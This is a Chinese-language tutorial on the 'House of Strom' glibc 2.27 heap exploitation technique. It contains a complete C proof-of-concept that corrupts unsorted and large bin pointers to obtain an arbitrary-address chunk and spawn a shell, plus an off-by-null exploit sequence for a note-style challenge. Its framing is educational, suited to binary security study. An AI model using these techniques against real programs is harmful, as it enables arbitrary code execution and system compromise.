House of Strom 漏洞
字数 1491 2025-08-05 08:18:36
House of Strom 漏洞分析与利用
漏洞概述
House of Strom 是一种基于 glibc 堆管理机制的漏洞利用技术,主要影响 glibc-2.27 及附近版本。该漏洞利用 unsorted bin 和 large bin 的管理机制,通过精心构造的堆布局,最终实现任意地址分配。
漏洞原理
漏洞存在于 glibc-2.27/malloc/malloc.c 的第 3729 行附近的代码中,该段代码负责在 unsorted bin 中查找与 malloc 请求大小匹配的 chunk。如果不匹配,则将该 unsorted bin chunk 放回对应的 bin 中。
关键利用点在于:
- 控制 unsorted bin 和 large bin 的链表结构
- 利用 large bin 归位时的链表操作修改目标地址的 size 字段
- 通过第二次 unsorted bin 搜索获取任意地址的 chunk
利用条件
- 能够控制 unsorted bin 和 large bin 的链表结构
- 目标任意地址 chunk 的 size 字段低四位必须为 0(即对齐)
- 需要能够触发 large bin 归位操作
代码分析
有 PIE 的情况
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char padding[0x10]; // NULL padding
char sh[0x10];
} global_container = {"", "id"};
int main() {
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
unsorted_bin = malloc(0x4e8); // size 0x4f0
malloc(0x18); // 防止合并
large_bin = malloc(0x4d8); // size 0x4e0
malloc(0x18); // 防止合并
// FIFO
free(large_bin); // 先放小的chunk
free(unsorted_bin); // large_bin 归位
unsorted_bin = malloc(0x4e8); // unsorted_bin 归位
free(unsorted_bin);
fake_chunk = global_container.sh - 0x10;
((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
((size_t *)large_bin)[0] = 0; // large_bin->fd
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->bk
((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
ptr = malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48-1);
system(global_container.sh);
return 0;
}
关键步骤解析
-
堆布局准备:
- 分配两个大 chunk (unsorted_bin 和 large_bin)
- 释放 large_bin 和 unsorted_bin 到 unsorted bin
- 重新分配 unsorted_bin 使其归位到 large bin
-
构造恶意链表:
- 修改 unsorted_bin 的 bk 指针指向 fake_chunk
- 设置 large_bin 的 bk 指向 fake_chunk+8(避免解链时崩溃)
- 设置 large_bin 的 bk_nextsize 指向 fake_chunk-0x18-5
-
利用 large bin 归位操作:
- 当 unsorted_bin 归位到 large bin 时,会执行:
victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; - 这将导致在 fake_chunk-0x18-5 处写入 victim 的地址,从而修改 fake_chunk 的 size 字段
- 当 unsorted_bin 归位到 large bin 时,会执行:
-
获取任意地址 chunk:
- 第二次 malloc 时,由于 fake_chunk 的 size 被修改为 0x55(PIE 情况下),可以匹配请求的 0x48 大小
- 成功获取 fake_chunk 的控制权
无 PIE 的情况
无 PIE 时,代码基本相同,但概率更低(1/32 vs 1/3),因为地址空间更大。主要区别在于:
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 2; // large_bin->bk_nextsize
实际利用场景
House of Strom 通常与 off-by-one 漏洞结合使用,构造 overlapping chunk。典型利用流程:
- 通过 off-by-one 构造 overlapping chunk
- 控制 large bin 和 unsorted bin 的链表结构
- 执行 House of Strom 攻击
示例利用代码:
alloc_note(0x18) # 0
alloc_note(0x508) # 1
alloc_note(0x18) # 2
alloc_note(0x18) # 3
alloc_note(0x508) # 4
alloc_note(0x18) # 5
alloc_note(0x18) # 6
# 改pre_size域为0x500,为了能过检查
edit_note(1, 'a'*0x4f0 + p64(0x500))
# 释放1号块到unsort bin 此时chunk size=0x510
# 2号的prev_size为0x510
delete_note(1)
# off by null将1号块的size字段覆盖为0x500
edit_note(0, 'a'*(0x18))
alloc_note(0x18) # 1 从unsorted bin上面割下来的
alloc_note(0x4d8) # 7 为了与1重叠
delete_note(1)
delete_note(2) # unlink进行前向extend
# 2号块与7号块交叠,可以通过7号块修改2号块的内容
alloc_note(0x30) # 1
alloc_note(0x4e8) # 2
# 原理同上
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18) # 4
alloc_note(0x4d8) # 8
delete_note(4)
delete_note(5)
alloc_note(0x40) # 4
# 将2号块和4号块分别加入unsort bin和large bin
delete_note(2)
alloc_note(0x4e8) # 2
delete_note(2)
防御措施
- 更新 glibc 到最新版本
- 使用堆保护机制(如 glibc 的 hardening 选项)
- 避免使用危险的堆操作函数
- 检查所有堆操作中的边界条件
总结
House of Strom 是一种高级的堆利用技术,它利用了 glibc 堆管理器中 unsorted bin 和 large bin 的交互逻辑。通过精心构造的堆布局和链表操作,攻击者可以实现任意地址分配,进而控制程序执行流程。理解这种技术对于二进制安全研究和漏洞防御具有重要意义。